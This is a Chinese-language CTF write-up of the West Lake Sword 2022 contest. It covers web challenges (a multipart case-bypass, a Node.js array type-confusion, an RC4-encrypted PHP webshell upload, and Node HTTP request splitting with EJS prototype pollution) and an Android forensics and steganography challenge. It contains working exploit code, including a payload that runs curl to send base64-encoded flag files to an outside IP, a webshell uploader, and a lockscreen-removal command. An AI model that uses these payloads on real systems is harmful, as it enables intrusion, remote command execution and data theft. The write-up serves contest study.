西湖论剑2022部分Writeup及复现

这次西湖的题量对于人数较少的队伍来说还是蛮多的,感觉题目蛮魔幻的,做出来就感觉是非预期出的(量子态西湖)比赛ban的挺严的说,不过收获还是蛮大的,也给队伍出了不少力,累挺~~

#Web

扭转乾坤

题目描述:

在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务

解题过程:

这题做的很玄幻,一开始以为需要什么特殊的上传姿势,但是全都403 Forbidden,仔细审了一下题,考点估计就在中间件了。

简单试探了一下,发现

扭转乾坤01

发现multipart/form-data被ban了,有很明显的提示的意思,试着去查阅的multipart/form-data相关的知识点,就找到一篇这样的文章

在文章里发现了对于Java来说,⽀持参数名的⼤⼩写不敏感的写法。而HTTP协议中的Content-Type头部信息是大小写不敏感的,所以可以对multipart/form-data大小写bypass

扭转乾坤02

Node Magical Login

题目描述:

一个简单的用nodejs写的登录站点(貌似暗藏玄机)

解题过程:

这题给了源码,controller.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}

function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}



module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}
1
2
3
4
5
6
7
8
9
10
11
12
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}

可以知道flag1的获取方法就是访问/flag1目录并构造一个cookie

1
user=admin

Node Magical Login 01

flag1: DASCTF{873803822

controller.js同样知道了flag2的获取方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

这里有两个判断:一个是checkcode的长度强等于16;一个是在经过toLowerCase()全转换为小写之后要与

aGr5AtSp55dRacer相等。

可以使用数组来bypass

构建checkcode

1
2
3
4
{"checkcode":["a","G","r","5","A","t","S","p","5","5",
"d","R",
"a","c","e","r"]
}

main.js

1
2
3
4
5
6
7
app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})

这里GET类型访问/flag2输入验证码抓包后输入构造好的checkcode

Node Magical Login 02

获取到flag2:77244565647131723193036}

flag:DASCTF{87380382277244565647131723193036}


但是在测试中发现了一个比较简单的数组bypass,满足长度为16即可

1
2
3

{"checkcode":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
}

Node Magical Login 03

这里应该是出题人没限制好

unusual php

解题过程:

访问给的链接可以获得部分源码:

1
2
3
4
5
6
7
8
<?php
if($_GET["a"]=="upload"){
move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
phpinfo();
}

发现能够上传还能读文件

我们这里读一下/var/www/html/index.php

1
?a=read&&file=php://filter/read=convert.base64-encode/resource=index.php

unusual php 01

发现存在乱码,应该是写了一个拓展加解密,查看phpinfo()

unusual php 02

注意编号:20190902

读取/proc/self/maps,搜索20190902

unusual php

利用伪协议读取.so文件,并保存为.so文件

usunual php 04

对其进行反编译,找到Rc4加密的密钥“abcsdfadfjiweur”

usunual php 05

对一开始拿到的index.php进行解密验证一下

usunual php 06

密钥正确

编写一句话木马进行加密

usunual php 07

写一个上传脚本

1
2
3
4
5
6
7
8
9
10
11
import base64
import requests


url = "http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload"

data = base64.b64decode("473xeG4d+1FXOOiInKCA0rVEAkBL0stSocHDxQ==")
file = {'file': ('TWe1v3.php',data)}
s = requests.session()
re_content = s.post(url=url,files=file)
print(re_content.text)

蚁剑链接:

usunual php 08

原本是需要使用chmod来提升/flag权限的,但是复现是共享端口,别人已经提完权限了,直接读取就好

usunual php 09

real_ez_node

解题过程:

审源码:

NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击。然后存在然后存在safeobj.expend进行原型链污染,导致命令执行,接着原型链污染打ejs。constructor.prototype.outputFunctionName绕过那个__proto__

参考

https://xz.aliyun.com/t/12053#toc-17和https://xz.aliyun.com/t/2894

构建exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Connection: close
Content-Length: 168

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl 101.43.139.243:8081/`cat /f*|base64`');var __tmp2"}

GET / HTTP/1.1
test:'''.replace("\n", "\r\n")


def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100 + ord(i))
return ret


payload = payload_encode(payload)

print(payload)
r = requests.get(
'http://3000.endpoint-9552f7133e68401e95e14dbecd1ab348.m.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(
payload))
print(r.text)

运行exp,自己的vps开启端口监听

image-20230204020134877

1
2
/REFTQ1RGezYzMzgzOTAzNjA4OTQzNTkyMTQ4MTIwMDg1MjQyMjk1fQo= //base64解码就行
DASCTF{63383903608943592148120085242295}

#Misc

机你太美

解题过程:

修改文件后缀后,7z解压后,夜神模拟器导入vmdk

删除pin值

参考文章:https://www.cnblogs.com/Zev_Fung/p/14192545.html

删除/data/system/locksettings.db即可

1
rm /data/system/locksettings.db

重启进入,发现安装有QQ和Skred

image-20230204031119995

打开Skred发现聊天记录

image-20230204031253040

image-20230204031314258

image-20230204031344112

发现聊天记录传输了⽂件,根据skred的存储文件的位置,可以直接定位

1
/data/data/mobi.skred.app/files/conversations

image-20230204032727182

使⽤adb pull来提取⽂件

1
adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf

其他文件类似操作提取即可

解压压缩包发现存在解压密码,可能存在两张图片里,图片可能采取了隐写之类的隐藏信息的方式

使用stegslove打开45.png,在Alpha plane处发现信息,写脚本提取其二进制信息

image-20230204033851762

1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image

img = Image.open("45.png")
for i in range(img.width):
for j in range(img.height):
pixl = img.getpixel((m,n))
if(pixl[3] == 255):
print(1,end='')
else:
print(0,end='')
print("_______________")
#0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001

进行编码转换一下

image-20230204034628556

1
e01544a9333ef62a3aa27357eb52ea8a

得到解压密码,解压50.zip,获得一个flag文件,记事本打开为一串乱码,猜测可能是啥加密,信息应该在75.jpg上面

image-20230204034838826

根据赛方放出的hint3:在线exif

试着查看一下75.jpg的exif信息,这里我使用的是EXIF信息查看器 (tuchong.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
EXIF信息摘要
模式 曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0
曝光 光圈:4.0, 快门:1/250秒, ISO200
焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg
色彩 白平衡:Auto, 色彩空间:sRGB
File
FileType JPEG
FileTypeExtension jpg
MIMEType image/jpeg
ExifByteOrder Little-endian (Intel, II)
ImageWidth 3888
ImageHeight 2592
EncodingProcess Baseline DCT, Huffman coding
BitsPerSample 8
ColorComponents 3
YCbCrSubSampling YCbCr4:2:2 (2 1)
IFD0
方向 Horizontal (normal)
X分辨率 72
Y分辨率 72
分辨率单位 inches
YCbCr定位 Co-sited
ExifIFD
曝光时间 1/250
光圈值 4.0
曝光程序 Aperture-priority AE
ISO 200
Exif版本 0221
ComponentsConfiguration Y, Cb, Cr, -
快门速度值 1/250
光圈值 4.0
曝光补偿 0
测光模式 Multi-segment
闪光灯 Off, Did not fire
焦距 50.0 mm
用户注释 XOR DASCTF2022
SubSecTime 39
SubSecTime原始 39
SubSecTime数码化 39
Flashpix版本 0100
色彩空间 sRGB
Exif图像宽度 3888
Exif图像高度 2592
焦平面X轴分辨率 4438.356164
焦平面Y轴分辨率 4445.969125
焦平面分辨率单位 inches
CustomRendered Normal
曝光模式 Auto
白平衡 Auto
场景Capture类型 Standard
InteropIFD
Interop索引 R98 - DCF basic file (sRGB)
Interop版本 0100
IFD1
压缩 JPEG (old-style)
X分辨率 72
Y分辨率 72
分辨率单位 inches
缩略图偏移 8412
缩略图长度 19629
ThumbnailImage (Binary data 19629 bytes, use -b option to extract)
Composite
光圈 4.0
图像尺寸 3888x2592
Megapixels 10.1
35mm等效因子 1.6
快门速度 1/250
(最小)模糊圈 0.019 mm
视角 25.1 deg
35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm)
超焦距 33.67 m
亮度值 11.0

可以看到用户注释为XOR DASCTF2022

对flag文件进行XOR

image-20230204035735656

获得flag:DASCTF{fe089fecf73daa9dcba9bc385df54605}

#写在后面

这次比赛全程投入,做的很累,不过收获还是很大的,也很遗憾,一个学校只能进入决赛一只队伍,想去线下和很多师傅见面的,这次是没机会去杭州了,不过能去线下的机会多着呢!不急,认识蛮久了,就差线下瞅瞅了哈哈哈哈